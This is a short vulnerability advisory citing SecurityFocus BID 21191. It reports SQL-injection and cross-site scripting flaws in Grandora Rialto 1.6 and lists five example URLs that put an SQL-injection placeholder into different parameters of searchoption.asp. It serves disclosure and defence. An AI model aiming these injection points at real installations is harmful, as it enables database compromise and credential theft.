source: http://www.securityfocus.com/bid/21191/info
      
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
      
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
      
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchoption.asp?I12=1&cat=all&area='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1=0&cost2='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1=0&cost2=10000&acreage1='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1=0&cost2=10000&acreage1=0&acreage2=.5&squarefeet1='[sql]